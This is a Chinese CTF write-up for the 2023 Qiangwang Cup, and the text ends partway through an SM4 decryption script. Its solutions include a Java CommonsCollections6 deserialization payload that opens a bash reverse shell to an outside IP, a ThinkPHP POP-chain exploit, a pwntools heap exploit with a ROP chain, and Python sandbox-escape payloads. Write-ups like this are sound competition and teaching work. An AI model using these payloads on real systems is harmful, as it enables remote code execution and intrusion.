2023 强网杯 Writeup

admin 2023年12月18日22:44:08评论330 views字数 32529阅读108分25秒阅读模式

Web

2023 强网杯 Writeup

happygame

基于HTTP/2 协议的grpc

2023 强网杯 Writeup

返回 HTTP/2 提示协议,进行查阅发现是有一个协议 grpc

这里需要用到一个工具进行链接:

链接如下:

https://github.com/fullstorydev/grpcui/releases/tag/v1.3.3

下载工具,执行如下命令

grpcui -plaintext IP:port


2023 强网杯 Writeup

链接打开网站,这里需要做一个请求

进一步分析,寻找漏洞点,这里经过长时间的测试。发现是存在CC6漏洞的

2023 强网杯 Writeup

利用 ysoserial.jar工具生成 exp,这里编写exp也可以

java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMjI5LjE1OC40MC8yNDAwIDA+JjE=}|{base64,-d}|{bash,-i}" | base64 | tr -d "n"
//rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDOHhNVEV1TWpJNUxqRTFPQzQwTUM4eU5EQXdJREErSmpFPX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=

2023 强网杯 Writeup

发送 serializeData,进行传参

2023 强网杯 Writeup

vps监听成功回弹获取flag

2023 强网杯 Writeup

thinkshop

代码审计

找到一处漏洞代码处

update.php

    public function updatedata($data, $table, $id)
{
if (!$this->connect()) {
die('Error');
} else {
$sql = "UPDATE $table SET ";
foreach ($data as $key => $value) {
$sql .= "`$key` = unhex('" . bin2hex($value) . "'), ";
} // 测试字符拼接

$sql = rtrim($sql, ', ') . " WHERE `id` = " . intval($id);
return mysqli_query($this->connect(), $sql);


}
}

继续跟进,发现这里存在 serialize尝试分析,来到 Goods.php

    public function saveGoods($data)
{
$data['data'] = base64_encode(serialize($this->markdownToArray($data['data'])));
return $this->save($data);
}

public function save($data){
$update = new Update();
return $update->updatedata($data , 'goods' , $data['id']);
//可传参date值
}

public function addGoods($data){
$update = new Update();
return $update->insertdata($data , 'goods' );
}
public function markdownToArray($markdown) // 加了判断
{
$lines = explode(PHP_EOL, $markdown);
$result = [];
$current1 = &$result;
$current2 = null;
$current3 = null;

foreach ($lines as $line) {
if (preg_match('/^# (.*)/', $line, $matches)) {
$current1 = &$result[$matches[1]];
$current2 = null;
$current3 = null;
} elseif (preg_match('/^## (.*)/', $line, $matches)) {
$current2 = &$current1[$matches[1]];
$current3 = null;
} elseif (preg_match('/^### (.*)/', $line, $matches)) {
$current3 = &$current2[$matches[1]];
} else {
if ($current3 !== null) {
$current3[] = $line;
} elseif ($current2 !== null) {
$current2[] = $line;
} elseif ($current1 !== null) {
$current1[] = $line;
}
}
}
return $result;
}

访问  index/admin/login 进入登录口

2023 强网杯 Writeup

测试发现 可通过用户名 1 密码 123456 登陆成功

提示信息:文件夹中的 shop.sql

2023 强网杯 Writeup

登陆后抓包进行分析 参数点,定位到 data传参

2023 强网杯 Writeup

这题没写完,跑去打楚慧杯了

贴上 FW1/tp exp

<?php
namespace thinkprocesspipes{
use thinkmodelPivot;
ini_set('display_errors',1);
class Windows{
private $files = [];
public function __construct($function,$parameter)
{
$this->files = [new Pivot($function,$parameter)];
}
}
$aaa = new Windows('system','tac /f*');
echo base64_encode(serialize($aaa));
}
namespace think{
abstract class Model
{}
}
namespace thinkmodel{
use thinkModel;
use thinkconsoleOutput;
class Pivot extends Model
{
protected $append = [];
protected $error;
public $parent;
public function __construct($function,$parameter)
{
$this->append['jelly'] = 'getError';
$this->error = new relationBelongsTo($function,$parameter);
$this->parent = new Output($function,$parameter);
}
}
abstract class Relation
{}
}
namespace thinkmodelrelation{
use thinkdbQuery;
use thinkmodelRelation;
abstract class OneToOne extends Relation
{}
class BelongsTo extends OneToOne
{
protected $selfRelation;
protected $query;
protected $bindAttr = [];
public function __construct($function,$parameter)
{
$this->selfRelation = false;
$this->query = new Query($function,$parameter);
$this->bindAttr = [''];
}
}
}
namespace thinkdb{
use thinkconsoleOutput;
class Query
{
protected $model;
public function __construct($function,$parameter)
{
$this->model = new Output($function,$parameter);
}
}
}
namespace thinkconsole{
use thinksessiondriverMemcache;
class Output
{
protected $styles = [];
private $handle;
public function __construct($function,$parameter)
{
$this->styles = ['getAttr'];
$this->handle = new Memcache($function,$parameter);
}
}
}
namespace thinksessiondriver{
use thinkcachedriverMemcached;
class Memcache
{
protected $handler = null;
protected $config = [
'expire' => '',
'session_name' => '',
];
public function __construct($function,$parameter)
{
$this->handler = new Memcached($function,$parameter);
}
}
}
namespace thinkcachedriver{
use thinkRequest;
class Memcached
{
protected $handler;
protected $options = [];
protected $tag;
public function __construct($function,$parameter)
{
// pop链中需要prefix存在,否则报错
$this->options = ['prefix' => 'jelly/'];
$this->tag = true;
$this->handler = new Request($function,$parameter);
}
}
}
namespace think{
class Request
{
protected $get = [];
protected $filter;
public function __construct($function,$parameter)
{
$this->filter = $function;
$this->get = ["jelly"=>$parameter];
}
}
}


PWN

warmup23

代码审计

2023 强网杯 Writeup

菜单题

漏洞点在add的时候有off_by_null的漏洞

思路

我们通过large bin和fastbin等等来实现,unlink的检测,可以去看这位师傅的文章,就说调用模板,最后我们通过environ+IO_file泄露出来栈地址,然后把add函数返回地址修改,构造orw即可

exp

from pwn import*
context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
libc = ELF("./libc.so.6")
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""

def get_p(name):
global p,elf
# p = process(name,env={"LD_PRELOAD":"./libc.so.6"})
p = remote("120.24.69.11",12700)
elf = ELF(name)

def add(size,content="AA"):
p.sendlineafter(">> ","1")
p.sendlineafter("Size: ",str(size))
p.sendafter("Note: ",content)

def show(idx):
p.sendlineafter(">> ","2")
p.sendlineafter("Index: ",str(idx))
def dele(idx):
p.sendlineafter(">> ","3")
p.sendlineafter("Index: ",str(idx))



def attck():
get_p("./warmup")
add(0xb440)# 使fake chunk的倒数第二个字节为'x00',需要爆破,1/16成功率

add(0x450)
add(0x30)
add(0x450)
add(0x450)
add(0x4f0)
add(0x450)
add(0x80)

dele(1)
dele(4)
dele(6)

dele(3)

fake_size = 0x461
add(0x470, b'a' * 0x450 + p64(0) + p16(fake_size))
add(0x430)

add(0x450)
add(0x450)

dele(6)
dele(3)

add(0x450, 'a' * 8)
add(0x430)

dele(4)
dele(6)
add(0x1000)
add(0x450, 'x00')
add(0x220,"AA")
add(0x208,b"A"*0x200 + p64(0x460))

# sleep(2)
dele(5)
# gdb.attach(p,"")
# sleep(2)

# p.interactive()
while True:
try:
attck()
add(0x18,"A")
show(8)
break
except:
p.close()

libc.address = u64(p.recvuntil("x7f")[-6:].ljust(0x8,b"x00")) - 0x219ce0
print(hex(libc.address))
environ= libc.sym['environ']
stdout = libc.sym['_IO_2_1_stdout_']

open = libc.sym['open']
write = libc.sym['write']
read = libc.sym['read']
pop_rdx_r12 = 0x000000000011f0f7 + libc.address
pop_rdi = 0x000000000002a3e5 + libc.address
pop_rsi = 0x000000000002be51 + libc.address
pop_rax = 0x0000000000045eb0 + libc.address
syscall = 0x0000000000091335 + libc.address

add(0x210,"AA")
add(0x900,"AA")
show(9)
p.recvuntil("Note: ")
heap_base = u64(p.recvline()[:-1].ljust(0x8,b"x00")) - 0xc240
add(0x210,p64(0)+p64(0x101))
add(0xf0)
dele(13)
dele(9)
dele(12)
add(0x210,p64(0)+p64(0x101)+p64(stdout ^ ((heap_base+0xc460)>>12)))

add(0xf0)
add(0xf0,p64(0xFBAD1800)+p64(0)*3+p64(environ)+p64(environ+8)[:6])

stack = u64(p.recvuntil("x7f")[-6:].ljust(0x8,b"x00")) - 0x178 + 0x30
print(hex(stack))

dele(9)
add(0x210,p64(0)+p64(0x110))
add(0x100)
dele(14)
dele(12)
dele(9)

add(0x210,p64(0)+p64(0x110)+p64(stack ^ ((0xc560+heap_base)>>12))+b"/flag")

payload = p64(0) + p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(heap_base+0xc240+0x20) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0)*2 + p64(syscall)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base+0x300) + p64(pop_rdx_r12) + p64(0x40) + p64(0) + p64(read)
payload += p64(pop_rdi) + p64(1) + p64(write)

add(0x100,"/flag")
# gdb.attach(p,"b *$rebase(0x00000189A)")
# sleep(2)
add(0x100,payload)


p.interactive()

MISC

签到

简单签个到

题目内容:flag{welcome_to_qwb_2023}

Pyjail ! It's myFILTER !!!

pyjail沙盒绕过

2023 强网杯 Writeup

简单沙盒,如下payload绕过

{print(open("/proc/self/environ").read())}

2023 强网杯 Writeup

Pyjail ! It's myRevenge !!!


难顶的沙盒 pyjail

题目提供地址,利用nc进行连接

源码如下

import code, os, subprocess
import pty
def blacklist_fun_callback(*args):
print("Player! It's already banned!")

pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback

del os, subprocess, code, pty, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")

blacklist_words_var_name_fake_in_local_real_in_remote = [
"subprocess",
"os",
"code",
"interact",
"pty",
"pdb",
"platform",
"importlib",
"timeit",
"imp",
"commands",
"popen",
"load_module",
"spawn",
"system",
"/bin/sh",
"/bin/bash",
"flag",
"eval",
"exec",
"compile",
"input",
"vars",
"attr",
"dir",
"getattr"
"__import__",
"__builtins__",
"__getattribute__",
"__class__",
"__base__",
"__subclasses__",
"__getitem__",
"__self__",
"__globals__",
"__init__",
"__name__",
"__dict__",
"._module",
"builtins",
"breakpoint",
"import",
]

def my_filter(input_code):
for x in blacklist_words_var_name_fake_in_local_real_in_remote:
if x in input_code:
return False
return True

while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:
input_code = eval(f"f'{input_code}'")
else:
print("Player! Please obey the filter rules which I set!")

说一下尝试思路,进行审计源码,大致分析

2023 强网杯 Writeup

需要绕过函数,尝试了很久的 写入 write操作,代码如下

from pwn import *

# eval((chr(111)+chr(115)+chr(46)+chr(110)+chr(97)+chr(109)+chr(101)))
# print(os.name)
# eval(chr(111)+chr(115)+chr(46)+chr(110)+chr(97)+chr(109)+chr(101))
# eval('{}'.format(chr(111)+chr(115)+chr(46)+chr(110)+chr(97)+chr(109)+chr(101)))
# eval(open('1.txt','w').write(f'{o""s.listdir()}'))
# eval(print(open('1','r').read()))
# for x in '1.txt':
# # print(x)
# print('chr('+str(ord(x))+')'+'+',end='')
# eval(open('1','w').write(f"{}"))
# del os
# print(eval(open('1.txt').read()))
# (eval(open('1.txt').read()))
code = "eval("__i""mp""ort__('o""s').__getat""tribute__('syste''m')('ls')")"
input_code = eval(f"f'{code}'")
# print(input_code)
#
# eval(open('1.txt','w').write(f'{os.listdir()}'))
# eval(chr(111)+chr(115)+chr(46)+chr(108)+chr(105)+chr(115)+chr(116)+chr(100)+chr(105)+chr(114)+chr(40)+chr(41))
eval(open(chr(49),chr(97)).write())
# ccc = "__import__('glob').glob('*')"
ccc = open('1.txt').read()
for i in range(len(ccc)):
# # # x = {open(chr(51), chr(97)).write(chr(105) + chr(109))}
# # # print("{open(chr(53), chr(97)).write("+'chr(' + str(ord(xxx[i*2])) + ')' + '+'+'chr(' + str(ord(xxx[i*2+1])) + ')' +')}')
# xxx = "{open(chr(68),chr(97)).write(" + "chr(" + str(ord(ccc[i * 2])) + ")" + '+' + "chr" + "(" + str(ord(ccc[i *2+1])) + ")" + ')'+"}"
xxx = "{open(chr(80),chr(97)).write(" + "chr(" + str(ord(ccc[i])) + ")" + ')' + "}"
print(xxx)
p = remote("8.147.133.72", 18412)
p.sendlineafter("Can u input your code to escape >", xxx)
sleep(0.2)
p.close()

经过测试,发现是可以成功写入文件,但并无法执行。

继续分析,进行列出本地 全局作用域的值,得到列表倒数第二个函数是 breakpoint,这里是可以采取 交互式调试,我们尝试劫持这个函数

2023 强网杯 Writeup

思路:将 breakpoint函数进行清除重调用,这里需要 bypass sandbox, 可利用 in""put函数重新键入

payload如下

{(a:=list(globals().values()),a[-2].clear(),"{inp""ut()}")[2]}
{globals()["__bu"+"iltins__"].breakpoint()}

然后进行读取当前目录问及那

#方法一:
import os
os.listdir("/") ## 读取根目录
os.listdir("/home/ctf") #读取当前目录,找到flag位置(动态生成)

#方法二:
import glob
glob.glob("f*")

## 最终读取flag文件即可,构造payload如下
{print(open("flag_AFA5C6996A51040344BF10B1CE2EC9981FB4DFA6E4A51A6D66B4AA3EEBF53947").read())}

2023 强网杯 Writeup

easyfuzz

提示fuzz测试,经过操作

2023 强网杯 Writeup

传参:qiqwbGood 即可获取flag

2023 强网杯 Writeup


REVERSE

ezre

拿到附件,ELF 64位程序,存在OLLVM平坦流

2023 强网杯 Writeup

拖入IDA,打开main函数就看到了平坦流

2023 强网杯 Writeup

使用IDA插件,云去混淆,试了很多方法,只有这个方法能去。

2023 强网杯 Writeup

去除完后看到程序逻辑

2023 强网杯 Writeup

整理如下,发现main函数调用sub_3170,这是里面只有一个假flag

__int64 __fastcall main(int a1, char **a2, char **a3)
{
char buf[112]; // [rsp+60h] [rbp-80h] BYREF
unsigned __int64 v6; // [rsp+D0h] [rbp-10h]

v6 = __readfsqword(0x28u);
read(0, buf, 0x64uLL);
if ( sub_3170(buf) )
{
write(1, aOk, 4uLL);
}
else
{
while ( 1 )
{
write(1, aNo, 4uLL);
break;
}
}
return 0LL;
}

2023 强网杯 Writeup

那就看调用main函数前程序做了什么,找到init_array,发现还调用了sub_5150函数

2023 强网杯 Writeup

该函数开启了子进程调用sub_39F0

2023 强网杯 Writeup

sub_39F0又是一个OLLVM,继续去混淆,手动整理代码

2023 强网杯 Writeup

unsigned __int64 __fastcall sub_39F0(unsigned int a1)
{
void *ptr; // [rsp+1C8h] [rbp-128h]
int v3; // [rsp+1D8h] [rbp-118h]
int v4; // [rsp+1DCh] [rbp-114h]
int v5; // [rsp+1E0h] [rbp-110h]
int v6; // [rsp+1E4h] [rbp-10Ch]
__int64 v7; // [rsp+1E8h] [rbp-108h]
__WAIT_STATUS stat_loc; // [rsp+204h] [rbp-ECh] BYREF
char *v9; // [rsp+270h] [rbp-80h]
__int64 v10; // [rsp+278h] [rbp-78h]
__int64 (__fastcall *v11)(); // [rsp+288h] [rbp-68h]
unsigned __int64 v12; // [rsp+2E0h] [rbp-10h]

v12 = __readfsqword(0x28u);
v5 = 0;
v4 = 0;
v3 = 0;
while ( 1 )
{
wait((__WAIT_STATUS)&stat_loc);
if ( ((__int64)stat_loc.__uptr & 0x7F) != 0 )
{
if ( ptrace(PTRACE_POKEDATA, a1, sub_3170, 2831LL) == -1 )
{
exit(0);
}
ptrace(PTRACE_SYSCALL, a1, 0LL);
while ( 1 )
{
wait((__WAIT_STATUS)&stat_loc);
if ( ((__int64)stat_loc.__uptr & 0x7F) == 0 )
{
break;
}
if ( ((__int64)stat_loc.__uptr & 0xFF00) >> 8 == 5 )
{
v7 = ptrace(PTRACE_PEEKUSER, a1, 120LL, 0LL);
if ( v7 == 1 )
{
if ( v4 )
{
v4 = 0;
}
else
{
v4 = 1;
ptrace(PTRACE_GETREGS, a1, 0LL, (char *)&stat_loc.__iptr + 4);
if ( v6 )
v9 = aOk;
else
v9 = aNo;
ptrace(PTRACE_SETREGS, a1, 0LL, (char *)&stat_loc.__iptr + 4);
}
}
if ( !v7 )
{
if ( v5 )
{
v5 = 0;
}
else
{
v5 = 1;
ptrace(PTRACE_GETREGS, a1, 0LL, (char *)&stat_loc.__iptr + 4);
}
}
if ( v7 == 59 )
{
if ( v3 )
{
v3 = 0;
}
else
{
v3 = 1;
ptrace(PTRACE_GETREGS, a1, 0LL, (char *)&stat_loc.__iptr + 4);
ptr = malloc(0x1DuLL);
sub_3270(a1, v10, (__int64)ptr, 29);
v6 = ((__int64 (__fastcall *)(void *, __int64))sub_3580)(ptr, 29LL);
free(ptr);
}
}
}
if ( ((__int64)stat_loc.__uptr & 0xFF00) >> 8 == 4 )
{
ptrace(PTRACE_GETREGS, a1, 0LL, (char *)&stat_loc.__iptr + 4);
v11 = sub_31E0;
ptrace(PTRACE_SETREGS, a1, 0LL, (char *)&stat_loc.__iptr + 4);
}
if ( ((__int64)stat_loc.__uptr & 0xFF00) >> 8 == 11 )
{
while ( 1 )
{
ptrace(PTRACE_GETREGS, a1, 0LL, (char *)&stat_loc.__iptr + 4);
getchar();
break;
}
ptrace(PTRACE_SYSCALL, a1, 0LL);
}

函数存在ptrace反调试,我们需要知道的是他调用了哪些函数,一共有三个,只有sub_3580函数是有用的,接着往下看,这个函数一样有OLLVM

整理如下:

__int64 __fastcall sub_3580(const char *a1)
{
_BOOL4 v1; // esi
unsigned __int8 v2; // al
size_t v4; // [rsp+38h] [rbp-C8h]
int i; // [rsp+60h] [rbp-A0h]
int v6; // [rsp+68h] [rbp-98h]
unsigned int v7; // [rsp+7Ch] [rbp-84h]
__int64 v8[4]; // [rsp+80h] [rbp-80h]
__int64 v9[2]; // [rsp+A0h] [rbp-60h] BYREF
char s[64]; // [rsp+B0h] [rbp-50h] BYREF
unsigned __int64 v11; // [rsp+F0h] [rbp-10h]

v11 = __readfsqword(0x28u);
memset(s, 0, 0x32uLL);
v9[0] = 0xEFCDAB8967452301LL;
v9[1] = 0xEFCDAB8967452301LL;
v8[0] = 0x7C88631647197506LL;
v8[1] = 0x4A0D7D3FFF55668BLL;
v8[2] = 0xDEC2E93F384ED2F5LL;
v8[3] = 0x3C1FB1746F7F7CDBLL;
v6 = 1;
v4 = strlen(a1);
v1 = 1;
v2 = strlen(a1);
sub_2220(v2, v9, a1, s);
for ( i = 0; i < strlen(a1); ++i )
{
if ( v8[i] == s[i] )
{
v6 = 1;
break;
}
}
}

找到一处对比,那么sub_2220函数就很像加密函数,去混淆手动整理

unsigned __int64 __fastcall sub_2220(unsigned __int8 a1, __int64 a2, __int64 a3, __int64 a4)
{
__int64 v5; // [rsp+8h] [rbp-398h]
__int64 v6; // [rsp+28h] [rbp-378h]
_BYTE *ptr; // [rsp+100h] [rbp-2A0h]
int v8; // [rsp+108h] [rbp-298h]
int i; // [rsp+10Ch] [rbp-294h]
int j; // [rsp+10Ch] [rbp-294h]
int v11; // [rsp+10Ch] [rbp-294h]
int v12; // [rsp+10Ch] [rbp-294h]
__int64 v15[32]; // [rsp+130h] [rbp-270h] BYREF
__int64 v16; // [rsp+230h] [rbp-170h]
__int64 v17; // [rsp+238h] [rbp-168h]
__int64 v18; // [rsp+240h] [rbp-160h]
__int64 v19; // [rsp+248h] [rbp-158h]
__int64 v20[36]; // [rsp+250h] [rbp-150h] BYREF
__int64 s; // [rsp+370h] [rbp-30h] BYREF
__int64 v22; // [rsp+378h] [rbp-28h] BYREF
__int64 v23; // [rsp+380h] [rbp-20h] BYREF
__int64 v24; // [rsp+388h] [rbp-18h] BYREF
unsigned __int64 v25; // [rsp+398h] [rbp-8h]

v25 = __readfsqword(0x28u);
ptr = malloc(0x32uLL);
memset(&s, 0, 0x20uLL);
memset(v20, 0, sizeof(v20));
memset(v15, 0, 0x120uLL);
au_re____stack_chk_fail(a2, &s);
au_re____stack_chk_fail(a2 + 4, &v22);
au_re____stack_chk_fail(a2 + 8, &v23);
au_re____stack_chk_fail(a2 + 12, &v24);
v20[0] = s ^ 0xA3B1BAC6LL;
v20[1] = v22 ^ 0x56AA3350;
v20[2] = v23 ^ 0x677D9197;
v20[3] = v24 ^ 0xB27022DCLL;
for ( i = 0; i < 32; ++i )
{
v6 = v20[i];
v20[i + 4] = sub_16F0(qword_6030[i] ^ v20[i + 3] ^ v20[i + 2] ^ v20[i + 1]) ^ v6;
}
do
v11 = 0;
while ( v11 < a1 )
{
ptr[v11] = *(_BYTE *)(a3 + v11);
v11++;
}
for ( j = 0; ; ++j )
{
if ( j >= 16 - a1 % 16 )
break;
ptr[a1 + j] = 0;
}
v8 = 0;
LABEL_26:
if ( v8 < (a1 % 16 != 0) + a1 / 16 )
{
au_re____stack_chk_fail(&ptr[16 * v8], v15);
au_re____stack_chk_fail(&ptr[16 * v8 + 4], &v15[1]);
au_re____stack_chk_fail(&ptr[16 * v8 + 8], &v15[2]);
au_re____stack_chk_fail(&ptr[16 * v8 + 12], &v15[3]);
v12 = 0;
while ( 1 )
{
if ( v12 >= 32 )
{
au_re____stack_chk_fail_0(v19, 16 * v8 + a4);
au_re____stack_chk_fail_0(v18, 16 * v8 + a4 + 4);
au_re____stack_chk_fail_0(v17, 16 * v8 + a4 + 8);
au_re____stack_chk_fail_0(v16, 16 * v8++ + a4 + 12);
goto LABEL_26;
}
v5 = v15[v12];
v15[v12 + 4] = sub_1BC0(v20[v12 + 4] ^ v15[v12 + 3] ^ v15[v12 + 2] ^ v15[v12 + 1]) ^ v5;
++v12;
}
}
free(ptr);
return v25;
}

发现SM4算法特征码`0xA3B1BAC6`,直接套脚本

SboxTable = [# S盒
0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c, 0x05,
0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x04, 0xc3, 0xaa, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0x0b, 0x43, 0xed, 0xcf, 0xac, 0x62,
0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x08, 0xe8, 0x95, 0x80, 0xdf, 0x94, 0xfa, 0x75, 0x8f, 0x3f, 0xa6,
0x47, 0x07, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83, 0x59, 0x3c, 0x19, 0xe6, 0x85, 0x4f, 0xa8,
0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b, 0xf8, 0xeb, 0x0f, 0x4b, 0x70, 0x56, 0x9d, 0x35,
0x1e, 0x24, 0x0e, 0x5e, 0x63, 0x58, 0xd1, 0xa2, 0x25, 0x22, 0x7c, 0x3b, 0x01, 0x21, 0x78, 0x87,
0xd4, 0x00, 0x46, 0x57, 0x9f, 0xd3, 0x27, 0x52, 0x4c, 0x36, 0x02, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e,
0xea, 0xbf, 0x8a, 0xd2, 0x40, 0xc7, 0x38, 0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1,
0xe0, 0xae, 0x5d, 0xa4, 0x9b, 0x34, 0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3,
0x1d, 0xf6, 0xe2, 0x2e, 0x82, 0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0x0d, 0x53, 0x4e, 0x6f,
0xd5, 0xdb, 0x37, 0x45, 0xde, 0xfd, 0x8e, 0x2f, 0x03, 0xff, 0x6a, 0x72, 0x6d, 0x6c, 0x5b, 0x51,
0x8d, 0x1b, 0xaf, 0x92, 0xbb, 0xdd, 0xbc, 0x7f, 0x11, 0xd9, 0x5c, 0x41, 0x1f, 0x10, 0x5a, 0xd8,
0x0a, 0xc1, 0x31, 0x88, 0xa5, 0xcd, 0x7b, 0xbd, 0x2d, 0x74, 0xd0, 0x12, 0xb8, 0xe5, 0xb4, 0xb0,
0x89, 0x69, 0x97, 0x4a, 0x0c, 0x96, 0x77, 0x7e, 0x65, 0xb9, 0xf1, 0x09, 0xc5, 0x6e, 0xc6, 0x84,
0x18, 0xf0, 0x7d, 0xec, 0x3a, 0xdc, 0x4d, 0x20, 0x79, 0xee, 0x5f, 0x3e, 0xd7, 0xcb, 0x39, 0x48,
]

# 常数FK
FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc];
ENCRYPT = 0;
DECRYPT = 1

# 固定参数CK
CK = [
0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269,
0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249,
0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229,
0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209,
0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279
]

def padding(data): # 填充
print("plaintext:t", bytes(data))
file_data_list = list(data)
lenth = len(file_data_list)
# print ("data lenth:", lenth)
remainder = lenth % 16
if remainder != 0:
i = 16 - remainder # i为需要填充的位数
# print ("padding numbers = ", i)
for j in range(i):
file_data_list.append(i) # 填充 char 0-(i-1)
#if remainder == 0:
#for k in range(16):
#file_data_list.append(0x08) # 刚好的话 填充0x08
print("after PKCS5 padding:", file_data_list)
return file_data_list

def list_4_8_to_int32(key_data): # 列表4个8位,组成32位
return int((key_data[0] << 24) | (key_data[1] << 16) | (key_data[2] << 8) | (key_data[3]))

def n32_to_list4_8(n): # 把n分别取32位的每8位放入列表
return [int((n >> 24) & 0xff), int((n >> 16) & 0xff), int((n >> 8) & 0xff), int((n) & 0xff)]

# 循环左移
def shift_left_n(x, n):
return int(int(x << n) & 0xffffffff)

def shift_logical_left(x, n):
return shift_left_n(x, n) | int((x >> (32 - n)) & 0xffffffff) # 两步合在一起实现了循环左移n位

def XOR(a, b):
return list(map(lambda x, y: x ^ y, a, b))

# s盒查找
def sbox(idx):
return SboxTable[idx]

def extended_key_LB(ka): # 拓展密钥算法LB
a = n32_to_list4_8(ka) # a是ka的每8位组成的列表
b = [sbox(i) for i in a] # 在s盒中每8位查找后,放入列表b,再组合成int bb
bb = list_4_8_to_int32(b)
rk = bb ^ (shift_logical_left(bb, 13)) ^ (shift_logical_left(bb, 23))
return rk

def linear_transform_L(ka): # 线性变换L
a = n32_to_list4_8(ka)
b = [sbox(i) for i in a]
bb = list_4_8_to_int32(b) # bb是经过s盒变换的32位数
